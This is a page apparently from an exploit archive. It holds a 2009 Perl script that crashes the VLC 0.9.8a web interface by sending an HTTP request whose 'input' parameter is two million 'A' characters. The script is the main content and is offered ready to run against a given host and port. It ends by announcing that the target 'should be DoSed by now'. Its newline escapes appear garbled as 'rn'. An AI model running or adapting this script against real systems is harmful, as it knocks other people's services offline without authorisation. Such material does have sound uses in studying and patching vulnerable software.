[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : VLC 0.9.8a Web UI (input) Remote Denial of Service Exploit
# Published : 2009-03-16
# Author : TheLeader
# Previous Title : Serv-U 7.4.0.1 (SMNT) Denial of Service Exploit (post auth)
# Next Title : Mozilla Firefox 3.0.7 OnbeforeUnLoad DesignMode Dereference Crash


#!/usr/bin/perl

########################################################
## VLC 0.9.8a Web UI Remote Stack Overflow (DoS) by TheLeader
## GreetZ: forums.hacking.org.il
## TiP oF TEh DaY: Rock on! =]
########################################################

use IO::Socket;

my $host = shift || 'localhost'; # Target host
my $port = shift || 8080; # Target port. Default port = 8080

#Note: for some reason, A x 2070785 = terminate without crash;
my $req = "GET /requests/status.xml?command=in_play&input=" . "A" x 2000000 . " HTTP/1.1rn";
$req .= "Host: $host:$portrn";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)rn";
$req .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
$req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3rn";
$req .= "Accept-Encoding: gzip,deflatern";
$req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7rn";
$req .= "Keep-Alive: 300rn";
$req .= "Connection: keep-alivern";
$req .= "Referer: http://$host:$port/rnrn";

print "nConnecting to $host on port $portn";

my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto => 'tcp');
$sock or die "Cannot connect to server: $!";
print "Sending HTTP request..n";
print $sock $req;
print "Exploited. Target should be DoSed by now :)n";

close $sock;

# www.Syue.com [2009-03-16]